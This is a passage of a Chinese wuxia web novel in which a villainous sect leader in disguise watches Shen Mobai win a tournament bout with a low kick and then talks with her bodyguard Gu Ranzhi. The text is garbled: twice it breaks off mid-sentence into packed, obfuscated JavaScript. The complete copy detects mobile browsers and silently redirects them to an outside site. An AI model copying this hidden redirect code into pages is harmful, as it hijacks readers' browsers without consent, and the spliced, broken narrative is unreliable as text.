添青阁的青衣客曾经做过一个非常中肯的评价:如果碰到白玉蛟,你跑了,你不是孬种,你是果断。如果碰到白玉蛟,你成功地跑了,你不仅武功高,而且运气好。 这句话被无数名门正派的人斥为“涨敌人志气,灭自己威风”。但是背地里,大家都认为这句话说的在理。走江湖,如果碰上白玉蛟这个杀星,有多远就躲多远,才是上上之策。 沉默了几秒之后,杜美眉咬着下唇抬起头来,特别苦大仇深对我喃喃道:“为什么要找我……” 我闻言,不小心被自己的口水呛了一下。她这语气,这内容,说得好像我们之间有什么不可告人的爱恨情仇似的! 我看了她一眼,一只手撑着侧脸,柔柔对她一笑,“谁叫你来找我搭讪,活该。” 于是,杜青娥张口结舌瞪着眼睛盯着我,欲语泪先流了…… 太阳升起来之后,各个门派的人陆陆续续来到“剑香阁”。我坐在如此扎眼之处,一下子引起了各个门派的注意。不少门派都不厌其烦地过来请教名号。 每当这个时候,我就用特别暧昧的目光看向杜青娥。 峨眉的师太每当这时就会向杜青娥投去特别怀疑的眼神,杜青娥的脸色气得发白,但我知道这姑娘是个非常懂得忍辱负重,所以尽管万分不乐意,她每次也都只能跳出来替我挡驾,陪着笑脸道,“这位是仙灵岛的慕容公子。” 每当这个时候,来谒见的人都会不由自主露出非常迷茫的表情——仙灵岛是个什么玩意儿?! 我就会配合杜青娥说,“师祖定下规矩,我派之人隐居仙灵岛,不便透露姓名,见谅见谅。” 每当这个时候,我心里就会默默念道:杜青娥当真很有编故事的天分,这名字起得真是万般恶俗。 名门正派的人都要面子得很,为了不显得自己非常孤络寡闻,都会立刻摆出一副,“久仰久仰”的架势来,然后再献上一堆溢美之词。所以,我就随便把他们都应付过去了,也没受到多余的骚扰。倒是苏小小那个多事的家伙总是不放心,三番两次地就跑过来,一会儿问我要不要喝酒一会儿问我要不要添暖炉,惹得无数男人频频投给我眼刀。最后,苏小小干脆就一屁股在我旁边的凳子上坐下了。八仙小桌我一个人坐的确有些浪费了,苏小小爱坐我便也没拦着。 擂台即将开战,苏小小便做亲昵状靠在我耳边低声说,“今天的第一场,是沈墨白与栖霞派的人,教主你有没有什么吩咐?要不要我给沈墨白点颜色瞧瞧?” 苏小小八成是以为我在剑门关一战中与沈墨白打成平手,所以心中闷闷不乐才过擂台观战。因此忠心耿耿的苏小小同志,特别想给沈墨白点颜色瞧瞧,好能逗我开心。不过,她希望努力的方向貌似是跟我想法有点背道而驰啊…… 我于是故作高深对她摇了摇头,笑道,“你什么都不用做,一会儿自有好戏看。” 看到这里,我想大家估计都有点犯嘀咕:跟沈墨白分道扬镳之后,我到底干嘛去了呢?我旁边站着的暗卫是十四吗?十四他不是呆在千里之外的剑阁总坛吗? 其实,这人不是十四。 那天,我气得半死从客栈里出来,走到门口看到一个卖鸡蛋的,我正不爽,于是抓起俩鸡蛋就狠狠地砸碎在了地上,一边还骂道,“沈墨白!我咒你的蛋跟这鸡蛋一个下场!”扔完了我还用力踩了两下,踩得鞋底胶粘…… 卖鸡蛋的大哥,一瞬间就怒发冲冠了,叫了一声“丫头片子不想活了!”抄起秤砣来,风风火火彪过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为你长得神似我师傅嘛,我心里暗暗补充了一句。 但是顾染织只是微微摇了摇头。 末了,他几乎是自言自语一般说了句,“我嫉妒他,我甚至想,如果我是你的仇人,你会不会也像对他那般对我。” 顿时,我站在原地,又一次愣住了。我生平头一回觉得,男人这东西,实在是太难以琢磨了!为什么一个两个的,都在自说自话,说些莫名其妙的东西,让我根本闹不明白他们到底在想些什么! 最后,我试探着问了一句,“呃……顾染织,你想让我像对十四那样对你?你果然是有些爱受虐的癖好?……” 顾染织看着我,目光非常深沉。最后,他轻叹了口气,笑了,“教主,我真的弄不明白你。” 我撇了撇嘴,摇头道,“彼此彼此。” 总之,我出了客栈便碰上自己的新暗卫顾染织,发现他已经到了金陵多日,一直在暗中保护我。后来,我就跟顾染织一直住在一间比较偏狭的客栈里,并且联络了苏小小,让苏小小替我去张罗和查办一些事情。最后,我就在腊月十五变身了之后,一大早便安安稳稳地坐在了剑香阁的贵宾席上。 擂台之上,铜锣一声敲响。 旁边苏小小特别激动,抚掌笑道,“哎呀,是沈墨白!” 我把目光投向擂台的中央,擂台搭建得非常引人注目,高出地面将近四米,汉白玉铺设,上设十八般武器,刀枪棍棒,样子一个比一个霸气威武。 栖霞派的黑水剑客一个鹞子翻身转体三周半,非常漂亮地落在了擂台上,引得台下没见过世面的围观群众的阵阵喝彩;而另一边,沈墨白慢腾腾从梯子上徒手爬上擂台,那动作又缓慢又无力,他整个人也萎顿得很,头发有点乱糟糟的,一脸没睡醒的表情。 全场的人都注视着沈大侠,各自陷入揣测。令人期待的一代天骄沈墨白沈大侠,竟然用这么意想不到的出场方式来登场——似乎他是开赛以来第一个用爬的来登上擂台的人啊! 该说他是太低调了呢?还是太低调了呢…… 最后,沈墨白好不容易爬上了擂台,然后还弯腰拍了拍衣服上沾着的灰。对面的黑水剑,已经等得不耐烦了,他干净利落抱拳道,“沈大侠,赐教了!” 沈墨白看了他一眼,也干净利落地说了一句话,“请手下留情。” 台下众人皆认为这沈墨白实在是太谦虚了,背后还有不少老家伙都在称赞沈墨白,说什么:“现在的年轻人呐,都轻狂地很,沈墨白这样的委实是太少找了啊,打着灯笼都找不到的奇葩啊,奇葩……” 我看着沈墨白的表情,忽然觉得心里七上八下的。 我拽了拽脸上的面纱,把脸遮好,然后又拿起茶杯盖儿开始把玩,玩了几下之后又开始垂在胸前头发的发尾。 身后顾染织忽然轻轻飘出来一句,“主人,不要那么紧张。” 我回头恶狠狠瞪了他一眼,谁料顾染织根本没看我,目光越过我径直盯着无限远的前方,一脸超然物外的表情。 我紧张?开玩笑嘛,我有什么好紧张的…… 我正想着,又听一声清脆的锣声。 擂台赛,正式开始。 32. 无耻者,得永生 我以前都不知道原来沈墨白也是有不少支持者的。 锣声一响,台下的观众就不淡定了,开始吹锣打鼓,惊声尖叫,间或能听到两声叫破音的“沈墨白我爱你——”从嘈杂鼎沸的人声中脱颖而出。我仔细观察了一下,沈墨白的男粉丝似乎比女粉丝还要多。不少不过十几岁的菜鸟们,他们激动无比,满脸通红地尖叫着沈墨白的名字,张牙舞爪,手舞足蹈,状若疯狂。我真怕他们一口气提不上来就这么抽过去了。男人,尤其是年轻的男人,十之八九大概都有英雄主义情节。 言归正传。 沈墨白的对手是胶东栖霞派的萧暮山,是栖霞派掌门的五儿子,出江湖将近十年,曾经一剑连挑了“江南十三奇人”而名噪江湖。 其实,栖霞派并不是个弱门派,只不过这门派比较保守,只收宗族内部的人为弟子,因此人丁一直很稀薄。而且更悲催的是,栖霞派的上一代里又出现了一对儿断袖的堂兄弟,二人双双远走江湖比翼双飞去了,以至于现在栖霞派的掌门萧老爷子,一口气娶了八个老婆,年轻的时候跟个种马似的整天忙着开枝散叶,现在刚过半百,人就肾虚得面黄肌瘦的。 呃,好像有点跑题,继续言归正传。 栖霞派的黑水剑客萧暮山,一上场就卯足了力气,舞起手里的大剑,准备放大招。现在一般所用的剑,不过是二十七寸三分长,但是黑水剑客手里的剑,我看着都将近有三十四寸。这种设计是专门配合栖霞派独特的“栖霞剑法”。“栖霞剑法”的精髓只有十六个字,“日晓辄有丹霞流宕,照耀城头霞光万道”。剑的招式是以劈、砍、崩、撩、格、洗、截、刺、搅、压、挂、云等为主,它的特点是刚柔相济、吞吐自如,飘洒轻快,矫健优美,正如那十六个字所说,“剑似飞霞”,由此可知其妙。 依沈墨白的实力,碰上栖霞派那肯定不在话下。我看过沈墨白的剑法,雷霆闪电似的夺人眼目,什么飞霞,在紫电青光面前那还不是一瞬间就烟消云散了,我保证他十招之内就能制服栖霞派的家伙。 只不过,沈墨白现在的情况就有点不妙了。第一,他没有内力。第二,他没拿剑。 “沈墨白在搞什么啊?”我旁边兴致勃勃的苏小小,看了没多会儿,眉头渐渐就皱起来了。 擂台之下观战的众人,反应也都跟苏小小差不多,一副丈二和尚摸不着头脑的模样,渐渐地,台子底下的议论声也就大了起来。 现在,擂台之上,沈墨白正在和萧暮山上演一出“猫捉耗子”的闹剧,萧暮山操着剑在后面追,沈墨白满场跑。有好几次,萧暮山的剑几乎就要砍到沈墨白的脑袋上了,千钧一发之际又被沈墨白给躲过去,几回合之后,沈墨白跑得披头散发,衣衫凌乱。 这哪里是打擂台啊,根本就是跟夫妻掐架没什么两样。 栖霞派是个山东的门派,萧暮山性子又特别直,举着大剑追了一刻钟之后他累的气喘吁吁,一张口就是一口山东方言,怒道:“沈墨白!恁怎么像个二椅子似的!那么不干脆!恁不许跑!快点过来跟俺对招!” 沈墨白站在与他对角的位置,一边喘一边笑,“我不要。大丈夫一言既出驷马难追,我说不过去,就是不过去。” 我坐在贵宾席上,忍不住捂着额头叹气连连。我真替你丢脸啊沈墨白……幸亏你不是沈墨白,不然你怎么对得起你那已死的哥哥姐姐弟弟妹妹叔叔阿姨婶婶啊!黄泉之下他们也不会放过你的…… 胶东大汉萧暮山同学思索了足足三秒,接着又愣了三秒中之后,忽然一下惊醒了似的,大吼一声,“沈墨白!俺、俺俺下手可不留情了!当心俺的刀剑无眼!” 大汉这一声仰天长吼之后,便使上了一百二十分的气势力气以及功力,一个饿虎扑食向沈墨白杀来。 沈墨白已经退至台边,退无可退,这次是真被逼上死角了。 我看到他咬牙,千钧一发之际,侧身险险擦着剑刃躲过劈头盖脸而来的一剑,衣襟都被剑口划开了一道大口子,紧接着,沈墨白踩着萧暮山劈下来的剑背,借其力向上跃起,试图从萧暮山头顶上逃过去。 然而,萧暮山脑袋虽然有点迟钝,手上功夫却反应够迅速敏捷的。他猛然手腕一转,以剑尖撑地,整个人在空中旋转一圈,从面地转而变成背地,左手一抬一捞,竟然抓住了沈墨白的脚腕,然后,猛力把在空中的沈墨白向下一扯。 下一秒,随着惊天动地一声闷响,灰尘飞扬之间,沈墨白被重重甩到了擂台的汉白玉石地面上。 也许用“甩”字并不是太贴切,“砸”更能体现这一招究竟有用上多大的力气。 台下一阵倒吸冷气的声音。 我都有点不忍心看,手指有些焦虑得再桌子上不停敲击着桌面。 沈墨白现在一点内力也没有,没办法用内力护体,就这么一头被“啪”在地板上,也不知道骨头断了几根,想想我都觉得肉和骨头一起“嘎吱嘎吱”得疼。 沈墨白躺在地上,微微挣扎了一下,废了很大的力气才慢慢支起身体坐起来。 他揉了一下直接撞击在地面上的肩膀,呲牙咧嘴地低声嘟囔,“多少年没这样挨揍过了啊……真逊……” “沈墨白,恁认输吧!”萧暮山站在沈墨白的几步之外,“唰”地一下,右手握剑直至沈墨白。 沈墨白抬头看着他,眼神淡漠。他沉默了一瞬间之后,忽然摇摇头笑了,笑得特别自嘲,特别无奈。 末了,沈墨白费力地扶着地面站了起来。他低声咳嗽了两声,然后抬手用袖子抹干净嘴角的血迹,低声喃喃道,“虽然我不想再跟你玩下去了,但我恐怕还不能认输……不然,咳,会被某些人认为,我这是在耍心眼儿,故意输给你。” 沈墨白这话说得没头没脑的,有点像是在自言自语,萧暮山听得一头雾水,其他人也都摸不着头脑。 我却忽然有点明白了。沈墨白,果然是被逼无奈才来夺取这个盟主之位的。而且那些逼迫他的人对他知根知底,所以即便他不想赢,也不能随随便便认输,否则一定会被逼他的人所识破。至于被识破的后果,那就不得而知了。 沈墨白他这么个恣意妄为、我行我素的人,到底是谁,竟然能够束缚得住他? 我知道现在不是细想这个问题的时候,眼下沈墨白情况危急。现在知道这事情真相的,除了沈墨白和凤栖梧也就只有我了,如果我不帮他,沈墨白今天搞不好要被打成个残废。况且这件事我也有责任,若不是我没警惕,着了凤栖梧的道,沈墨白也不会今天挨这顿打。更重要的是,他可是传说中武功与我并驾齐驱的男人,他败得这么丑,本座的面子要往哪里搁! 萧暮山见沈墨白没有认输之意,倒也敬重沈墨白是条汉子,准备用自家看门绝招必杀技来一击了结了沈墨白。就在他运足了真气,将状态调整到最佳,已经蓄势待发,即将大吼一声,向前发射的千钧一发雷霆万钧的一刹那,我突然站了起来。 “慢!” 我声音冷不丁想起来,不紧不慢,不大不小,却混含着极强的内力,如同潮水一般直扑向擂台,震得整场地人都耳鸣眼花,众人都忍不住齐刷刷捂住耳朵。最惨的是那个萧暮山,好不容易调整到战力最高的状态,在即将爆发的时候生生被我给掐断了,憋得这哥们儿差点没当场内出血。萧暮山在半途急刹车,原地一下子连做了五个深呼吸之后才把体内翻涌的真气给压下去。 他怒气冲冲转向我这边,怒骂道,“恁这小末子,将将是想害死俺是不?!” 我咳嗽了一声,装模作样慢腾腾道,“不,不是,当然不是。我呢,只是路见不平,是在看不下去你再这样欺负人下去了。” 萧暮山一听就眼睛瞪得比铜铃还大,跳脚叫唤,“恁说啥?!俺欺负银?!” 我重重点了一下头,语重心长而又慢条斯理道,“萧大侠,您先别上火。您想想看呐,沈墨白在剑门关一战中,单枪匹马打败了白玉蛟。这事儿那是有目共睹的。沈大侠的武功究竟是怎样的水准,在场的诸位,大概心中都有数。今日,沈大侠发挥怎么会如此失常呢?我觉得,其中必有蹊跷。” 我此话一落,众人纷纷交头接耳并且频频点头。 显然,我是道出了所有人心中的疑惑。 而且,我刚才用内力已经震住了场上的人,虽然不知道我是谁,但是凭实力说话往往是最有分量的。 萧暮山自己也想了会儿,虽然觉得我说的有道理,但还是争强道,“今非昔比!几们儿的沈墨白不可与决里的沈墨白同日而语!” 我听了他的话,仍旧是微笑,而且还赞同似的,又重重点了一下头。 我顺着他的话往下说,“对呀!那你有没有想过,为什么就今非昔比了呢?答案无非就只有两个:一、沈墨白武功突然变弱了。二、沈墨白他故意让你。” 萧暮山一听就不乐意了,他刚又叫唤“他让我?!”就被我打断了。我步步紧逼道,“在场的诸位都知道萧大侠与沈大侠素昧平生,第二个可能当然可以排除。那么就肯定是第一种情况了——沈大侠武功变弱了。能够解释沈大侠变弱的可能性,也有两个:一、沈大侠他受伤了。第二、你耍诈了。” 我一说完,擂台之下就又一次炸开了锅。 “剑香阁”里头都是江湖最有头有脸的人物,我身后就云集着青城派、梅岭山庄等大门派的人。 青城派的掌门听我说了这么多,终于沉不住气了。他走到我旁边,对我抱了抱拳,接着扬起内力,倚着“剑香阁”的栏杆朝着沈墨白喊道,“沈侠士,在下也觉得这位公子说的有几分道理。莫非真如这位公子所言,沈侠士你是你受了伤?还是另有隐情?若是真是如此,为了这次比武的公平起见,你不用隐瞒,尽管说出来,我们武林同盟自会为你做主。” 沈墨白站在擂台上,他抬起头也看向我的方向。 风吹起他零落的衣摆和衣袖,整个人看上去倒多了几分萧索而沧桑的味道。 “除了刚才胳膊脱臼了之外,我没有受其他的伤。”沈墨白清晰而简单地回答。 他似乎是在回答青城派掌门的问题,但我总觉得,他说这话的时候,眼睛一直在盯着我。 我其实已经料到沈墨白会是这个回答。这家伙既然前几日不愿意承认自己内力被封,便会死扛到底,直到内力恢复为止都不会把这件事透露给任何一个人。沈墨白看上去是个大大咧咧的人,其实这家伙最喜欢往心里藏事儿,把什么事情都掖在自己心底,不肯透露给任何一个人看。 我遥遥俯视着他,淡定地露出一个微笑。 “既然……沈大侠你没受伤,那就说明萧大侠你耍诈了嘛。哎!萧大侠你别瞪我,我不是看不起你,只是现在这情况实在是太奇怪,让我不得不怀疑而已。而且,你看……”我抬手,遥遥一指萧暮山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349868|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里的长剑,“你拿着兵器,沈大侠却空着手,单从这一点来讲,这比武就有失公平。” 萧暮山听完,皱着眉头看了一眼自己手里的兵器,又回头瞄了一眼可怜兮兮扶着受伤手臂的沈墨白。 他抬头看着我,想了一下,随即道,“俺们栖霞派精通的就是剑术,剑在银在,剑煞人煞,银剑合一。所以俺不会放弃手脖子里的这把剑。既然恁觉得不公平,那尽管给沈墨白挑选个兵器,刀枪棍棒,任他挑,随他选。” 他说完,我就笑了。 因为,此乃本作妙计。打架,除了看械斗者本身的实力,还要看械斗者手里操得是什么家伙。 这时候,我看了一眼站在我身后的顾染织。顾染织一下就明白我打地什么主意,下意识一只手按在腰间的剑上。 顾染织身上带着的那把剑,是几年前我赏给他的。 那把剑名为“折戟”,长二尺四寸三分,重仅一斤二两,状极古雅,有刚柔力,能弯曲自如,拿在手里仿佛一件精巧的装饰品,然而偏偏这剑当真是削铁如泥。它当年我扫荡“折戟山庄”的时候剿回来的纪念品。 我师父曾经说我戾气太重,用不得带着血煞气息的兵器,所以我一直只随手从路边捡茅草差当武器,神兵利器什么的全都赏给手底下的人。 顾染织也看着我,没有动作。 我知道这是顾染织无声在闹脾气。顾染织特别宝贝自己的“折戟”,那把剑被他用了这些年,丝毫不见任何磨损,反倒是比我带回来的时候光芒更甚。平日里,他根本不许任何人去碰一下折戟,更别说把折戟借给别人用了。我现在要把折戟借沈墨白,顾染织自然万分抵触。 我扬了一下下巴,微微皱眉,表示自己已经有点不耐烦了。“阿织,你乖一点,听话。” 顾染织抵抗了一瞬间之后,不爽地把剑从腰上取下来,然后随手一扔。 折戟打着旋,“唰唰唰”飞向场地的中央。 所有人的目光都不由自主追随着那把绝世名剑,最后,折戟旋转着在擂台的白玉石地面上停住,不偏不倚,正巧停在了萧暮山的脚底下。 我瞪了顾染织一眼,顾染织委屈地看过来,随后就迅速把头低下了。 再说那萧暮山。凡是武林中人,没有不是爱兵器如爱命一般的。萧暮山不是不识货的人,一眼就认出这是把绝世无匹的名剑,那表情简直就像见了自己的亲爹似的,俩眼盯着地上的剑就直了。 我不知道萧暮山是太实诚了,准备把剑捡起来交给沈墨白,还是他太眼馋那把剑,想自己拿起来耍耍,总之,萧暮山就忽然背对着沈墨白弯下腰去捡折戟。 此时,在场所有人的目光都紧紧锁在折戟的身上,根本没有人注意沈墨白,也没人看到沈墨白是什么时候突然站在了萧暮山的背后。 紧接着,惊动天下武林的一幕,发生了。 沈墨白站在萧暮山背后,在他毫无防备之时,突然抬起一脚,不偏不倚,正中了萧暮山两腿之间的中心地带。遭到了沈墨白“断子绝孙脚”攻击的萧暮山,发出杀猪一般一声惊天动地的惨叫,当即两腿一夹,撅着屁股倒在场上。 台下,男女老少,武林名士,江湖中人,围观路人,全数一副下巴脱臼的表情,张大了嘴巴,瞪大了眼睛盯着台上,久久,全场一片死一般的寂静。 沈墨白选手,成功的以他的无耻行径,挑战了江湖儿女的底裤。连我这个江湖中最无耻的败类,在这一刻,都由衷地从心底叹服,沈墨白同学你真的是无赖得史无前例,前无古人后无来者,上下五千年罕有其匹了啊!这么缺德的事情你都能干出来!沈家上上下下几百口人,泉下有知,做鬼也不会放过你的! 沈墨白在一片寂静中,走到倒地不起的萧暮山旁边,弯腰捡起了折戟。 这时候,台下栖霞派的人终于反应过来,一个个都状若疯狂,厉声大吼着要冲上台来把沈墨白大卸八块。毕竟嘛,栖霞派本来就是人丁稀薄,把传宗接代看得比什么都重要。可以说,□□,就是栖霞派最大的软肋。如果有人要挟持栖霞派的人,不用拿刀顶着他们的脖子,顶着他们□□要更有杀伤力。 萧暮山这时候还想爬起来再战,虽然被攻击了“要害”,但就这样认输实在是太难看了。 但是萧家人不干了,萧暮山的老妈,果断叫了医护组,强行把萧暮山抬下擂台送去医治。萧家是典型的母以子贵,她可就萧暮山这一个儿子,而且是所有兄弟中最有出息的一个,以后很有可能继承掌门之位。万一萧暮山以后落下个什么病根,得了什么不孕不育症,她后半生就得喝西北风去了。 一时间,萧家人和医护组的人涌上擂台来,擂台上一片混乱。 沈墨白站在混乱的人群中,拿着折戟,遥遥看向我。最后,他一扬手,把折戟给扔了回来。我一甩袖子,宽大的袖口卷着折戟,半途改了折戟飞过来的轨迹,让它飞向了顾染织。 “我不需要你帮我。”沈墨白无声对我做了口型。 我自然是看懂了。 嘿,凭什么我就要那么听你的话啊?你不让我管,我就偏偏要管。 我抱着手臂,冷笑了一声,然后忽然抬起右手,对他竖了一下中指。 这场擂台赛,沈墨白与萧墓山对决的结果是,沈墨白险胜,但手腕脱臼;萧墓山更不好过,此次重伤使得其娶妻生子的前程蒙上了一层阴影…… 33. 男主们,掐起来吧 明日就是武林大会的最后一日。 明日,只有一场最后的对决,沈墨白对凤栖梧。 现在,月上柳梢头。我坐在“千宜阁”的顶层露台,吹着金陵冬夜的寒风,望着脚下十八里秦淮河的纸醉金迷,喝着新温的暖酒。顾染织站在我背后,不时替我把杯中的酒添满。 有美景美酒也有美人,总之,这算是个惬意的夜晚。 顾染织现在没有穿暗卫的服装。暗卫的制服是一身乌漆麻黑的,脸上还带着黑色的面具。以前我就特别喜欢带着一群暗卫到外头四处作恶,老远看黑压压一片,我走在最前头,我走到哪,人就死到哪。霸气十足,相当有派头。 但是顾染织的本职工作不是暗卫,而是个男宠。只是最近迫于情势才降级为幕后工作。 实不相瞒,当年,我把顾染织留在身边,纯粹就是看上了他的皮相,他的风骨,而不是他的忠诚,不是他的才能。穿着漂亮衣服在我面前溜达,保养我的眼睛,把我伺候得妥妥帖帖舒舒服服的,才应该是他顾美人儿的职责。此时的顾染织身着一袭青衣,宽袖大襟,衣摆飘逸。衣摆上面绣着墨绿的竹海,随着风轻微飘飞舞动的样子,看上去仿佛是竹海在风中如海涛一般涌动,有几分虚幻出尘的美感。 我仰头,一饮而尽杯中琼浆。而后顺势把空了的杯子举起,示意顾染织添酒。 顾染织揽住宽大的袖子,弯腰又替我斟满一杯,而后,他有几分随意地开了口,“教主,我觉得明天的比武大会,您还是不去参加的好。” 我斜眼睨着他,喂喂勾嘴一笑,“怎么?你担心我?” 今夜过了子时,我就已经变身超过十二个时辰了,明日还能坚持到几时,实在是很难说,如果,明天我在全江湖的人面前突然变成了个武功全无的小屁孩儿,我肯定当场就被大卸八八六十四块,最后被挫骨扬灰,连个骨头渣都剩不下。 顾染织也笑,笑得淡漠,“我知道,对于此事,教主心中早有计较,属下再多说也无益。只是,听不听是教主您的事情,但是我必须把该说的说了。不然,那就是我的失职了。” 听到他这么说,我稍微有点吃惊。因为若是以前的顾染织,他肯定不会这样说,他只会说“教主三思”之类的话。 顾染织是个极其聪明的人,而且骨子里极其傲慢。正是因为如此,虽然名以上他是我的男宠,但事实上我却交给他了很大的权力。从前的他,就像个水母,表面上温柔而无害,其实内里毒辣地很,如果谁招惹了他,被他蛰一口,就得小心小命了。但是现在的他,似乎连外表都开始带上刺儿了。 我蹙着眉头,用一种打量的目光盯着他,“啧,阿织,以前的你可比现在要温柔多了,我不在的那半年,你变了不少啊。” 顾染织浅浅一笑,仿佛听到了什么有趣的话。“教主,您也变了。” 我觉得他这话更有趣,于是扬眉,奇怪道,“我变了?那你倒是说说,我哪里变了?” “教主,自从我认识你以来,你从未把别人的性命当做一回事。即便是再亲密的人,若是背叛了您,您必会手刃之,并且绝不会有任何犹豫。但是这次,偏偏您就留下了我的性命,甚至仍留我在您身边?我犯的错,明明就是不可饶恕的。” 顾染织说话的时候,眼睛一直毫不退却地对上我的视线。他语气柔和而随意,但是他的眼神告诉我,他很在意这件事,非常在意,在意到即便惹来杀身之祸,也要问出来。 我看着他,沉默了一瞬间,“就这事儿?我不杀你很奇怪吗?” 顾染织敛眉,看着我,不语。 我喝了一口酒,笑了,“顾染织,你知道为什么从前我会毫不犹豫杀掉那些背叛者么?因为我知道,如果有机会,为了权势、地位、财富、女人,他们还是会毫不犹豫地再一次背弃我。我不杀你,不是因为我心软饶了你,而是因为我知道,你跟那些人不一样,权势财富,并不是你所想要的东西。” 顾染织微微低了点头,神色有一点点的动摇。 我看着他,微笑,“我不在的这半年,你也遭了不少罪吧?想必你对权势什么的已经不再执着了,所以,我相信自己的直觉,相信你不会再一次背叛我。” 顾染织看着我,微微愣神。 他看了我三秒之后,发觉我正奇怪地看着他,这才忽然回过神,有些尴尬地别开视线,“当时……我那样对您,您不恨我么?不想报复,不想出气么?” 我知道顾染织是指废掉我手脚的事。现在回想起来,其实,被一刀割断筋脉的痛,的确够锥心刺骨的。 我吸了口气,然后缓缓吐出来,“我呢,一直对别人很残酷,所以,如果有一天别人也这么对我,我只会觉得那是理所当然的。” 我抬头,看了一眼顾染织,然后抬起手,抓住他藏在袖底的手。 那只手有些冰冷。 “阿织,其实一直以来,我都没有想要怪你。我知道,我对你做了很多很残忍的事情。你明明是个骄傲的人,最看不起男宠这样的头衔,我却还是让你做我的床伴。我知道你想要的是自由,还把你锁在我身边不许你逃走。你一直都清楚,我只是把你当成我师父的替身,我不断要求你变得更加像那个人,让你继续假扮成那个人的模样……你一直都很痛苦吧?我知道,一直以来你都是恨我的,我还强迫你必须来爱我……所以,我并没有要报复的念头,因为,你对我所做的一切,只不过是我应得的。” 我话音刚落,顾染织忽然反握住我的手,在我手边单膝跪下。他低着头,不让我看到他的表情。然后,他轻轻吻了一下我的手指,我感觉到他的唇有轻微的颤抖。 他低声说,“教主,我呆在您身边这么多年,却越来越不了解您。” 我愣了愣。 我刚才做那番深情表白,其目的是稳住顾染织的情绪,让他以后能死心塌地跟着我。我的确是喜欢顾染织,他是我一手培养出来的人,我怎么舍得毁了他?既然舍不得毁掉,那自然要为我所用。别看我平时行事作风狠辣得很,但其实是一个非常护短的人。对于我亲近的人,我喜欢的人,我是真心想护着的,不许别人害了他们,自己也下不了狠心。既然我杀不了顾染织,那不如想办法招安他。当年看诸葛亮“七擒孟获”便觉得此法甚妙,如此一试,果不其然。只是,没想到其效果似乎比我想的还要更好,顾染织情绪那么激动,我反倒有些不知道怎么收场了。 我把手从他手心里抽出来,拍了拍他的肩膀,干笑了两声想岔开话题,“哎呀,阿织你知道的,我一直最疼你了。你那么贴心,那么懂事,要是十四有你一半聪明,我就省心多了,我这次把他一个人留在总坛里,你又不在,也不知道他能不能应付过来。” 顾染织和十四很不同的一个地方在于,顾染织是个很会察言观色的人,他知道什么时候该开口,什么时候不该,什么时候开口最合适最合宜。这方面,十四简直就是个白痴,他要么就全听我的,即便知道我是错的也陪我一起错下去,要么就找一个非常烂的时机说话,每次都惹我生气。所以顾染织一般情况下都是让我舒心,而十四大多时候会让我头疼。 果然,顾染织从我的语气和动作中立即就明白了什么,他立刻就放开了手,很规矩地重新站到了我背后。 我以为顾染织会很懂事地把这个话题跳过去,然而,他却淡淡开口道,“十四不需要变得聪明,教主你依然会护着他。” 这话,怎么听,怎么都觉得醋味十足。我尴尬了一瞬间。小顾啊小顾,你又在嫉妒小十四么?十四也好,顾染织也好,小时候都很可爱的啊,怎么越是长大了越是让人摸不透呢?这些家伙整天心里都在想什么啊……真是的…… ··· 第二天,我本来是想早点到场的,可惜走在半途,碰上了一群麻烦的姑娘——峨眉派。我顿时感觉自己跟峨眉派太投缘了,走在哪儿都能碰上。我只不过是因为饿了,于是顺道拐道街边上买个包子吃,竟然一抬头就发现峨眉派一大帮人站在我三步之外买油条。 她们不知是谁发现了我,大叫了一声“师傅救命!”,紧接着数十个妹子都突然都扎开马步,齐刷刷按着剑柄,两眼直勾勾围观我。 我心里骂了句:神经病…… 不过,咱表面上还挺淡定的,举起一只包子和蔼笑道,“众位师太们,包子不错,要不要来一个?” 众师姐师妹们都站在师太的背后,如临大敌。 我把目光投降师太,峨眉师太脸色变了变,我看她重心慢慢后移,颇有想扭头狂奔而去的架势。可惜,师太还没来得及跑,她那个正义感十足的大徒弟就一下子蹦到了她的前头。 杜青娥“唰”地一下拔出剑来对着我。这姑娘悲愤过头了,结果太紧张,而略微有些口吃,“白、白玉蛟!你怎么,你怎么还在这里!你不是说好了不闹事的么!” 我扬了扬眉毛,把包子塞进嘴巴里,然后神色颇为变态地舔了舔手指。 “这、这位姑娘,”我故意结巴了两句,借此嘲笑杜青娥,“瞧,瞧你这话说的,你哪只眼睛看到我闹事了啊?” 杜青娥脸色煞白,她抖了一下手里的剑,似乎在威胁我。 我摇头失笑,“诸位何必那么紧张呢?我觉得诸位肯定是对我有什么误会。本人呢,生性善良,平时踩死一只蚂蚁都会为其念经诵佛,超度亡魂,并且修坟造墓,更怕其死后单身寂寞,遂继续踩死十只八只的为其作伴,可谓是尽心尽力……” 杜青娥听到后半段,脸色越来越难看。 我对着她眨了眨眼睛,“杜姑娘,你不要那么激动,不然,我也会为你而尽心尽力的。” 我说完,就“哈哈”邪恶地笑了两声,拍拍屁股,嚼着包子走人了。 杜青娥等人在我赤裸裸的威胁下,不敢乱动,只能保持着按剑的姿势僵硬在原地,默默目送我离去。 本座是你们这帮小娘子能惹得起的吗?也不掂掂自己有几斤几两。 所谓:坏人需要实力,败类需要品味。你以为当个坏人很容易的?如果我这个黑老大没真本事,能这样在光天化日之下,大摇大摆走在名门正派堆里么? ··· 今日这最后一场,沈墨白对凤栖梧的擂台赛,江湖舆论对于这一局的胜负争论不休。金陵的各大赌场都设下大赌局,以胜负赌输赢,双方的倍率一直不相上下。开赛之前沈墨白一边倒的舆论,在沈墨白对萧暮山那一战之后便出现了大扭转。沈墨白那临门一脚,一瞬间就成为了武林中最大的争议性话题。许多人都纷纷向栖霞派表示慰问,联合声讨沈墨白的那土鳖而讨嫌的行为。 不过,沈墨白本人似乎根本就对这事儿毫不在意,被问起来,就随随便便回答了一句“正好顺脚”,堵得诸位前辈们胸闷气短,捶胸顿足。 